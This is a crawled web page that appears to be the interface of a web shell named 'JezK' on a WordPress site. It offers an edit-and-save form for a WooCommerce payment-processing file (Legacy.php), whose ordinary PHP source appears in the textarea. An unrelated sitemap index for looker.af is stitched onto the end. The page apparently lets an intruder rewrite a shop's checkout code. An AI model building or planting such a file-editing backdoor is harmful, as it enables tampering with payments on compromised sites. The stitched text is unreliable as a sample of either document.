
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: Legacy.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php
namespace Automattic\WooCommerce\StoreApi;

use Automattic\WooCommerce\StoreApi\Payments\PaymentContext;
use Automattic\WooCommerce\StoreApi\Payments\PaymentResult;
use Automattic\WooCommerce\StoreApi\Utilities\NoticeHandler;
use Automattic\WooCommerce\Blocks\Package;

/**
 * Legacy class.
 */
class Legacy {
	/**
	 * Hook into WP lifecycle events.
	 */
	public function init() {
		add_action( &#039;woocommerce_rest_checkout_process_payment_with_context&#039;, array( $this, &#039;process_legacy_payment&#039; ), 999, 2 );
	}

	/**
	 * Attempt to process a payment for the checkout API if no payment methods support the
	 * woocommerce_rest_checkout_process_payment_with_context action.
	 *
	 * @param PaymentContext $context Holds context for the payment.
	 * @param PaymentResult  $result  Result of the payment.
	 */
	public function process_legacy_payment( PaymentContext $context, PaymentResult &amp;$result ) {
		if ( $result-&gt;status ) {
			return;
		}

		// phpcs:ignore WordPress.Security.NonceVerification
		$post_data = $_POST;

		// Set constants.
		wc_maybe_define_constant( &#039;WOOCOMMERCE_CHECKOUT&#039;, true );

		// Add the payment data from the API to the POST global.
		$_POST = $context-&gt;payment_data;

		// Call the process payment method of the chosen gateway.
		$payment_method_object = $context-&gt;get_payment_method_instance();

		if ( ! $payment_method_object instanceof \WC_Payment_Gateway ) {
			return;
		}

		$payment_method_object-&gt;validate_fields();

		// If errors were thrown, we need to abort.
		NoticeHandler::convert_notices_to_exceptions( &#039;woocommerce_rest_payment_error&#039; );

		// Process Payment.
		$gateway_result = $payment_method_object-&gt;process_payment( $context-&gt;order-&gt;get_id() );

		// Restore $_POST data.
		$_POST = $post_data;

		// If `process_payment` added notices, clear them. Notices are not displayed from the API -- payment should fail,
		// and a generic notice will be shown instead if payment failed.
		wc_clear_notices();

		// Handle result.
		$result-&gt;set_status( isset( $gateway_result[&#039;result&#039;] ) &amp;&amp; &#039;success&#039; === $gateway_result[&#039;result&#039;] ? &#039;success&#039; : &#039;failure&#039; );

		// set payment_details from result.
		$result-&gt;set_payment_details( array_merge( $result-&gt;payment_details, $gateway_result ) );
		$result-&gt;set_redirect_url( $gateway_result[&#039;redirect&#039;] );
	}
}
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://looker.af/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://looker.af/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
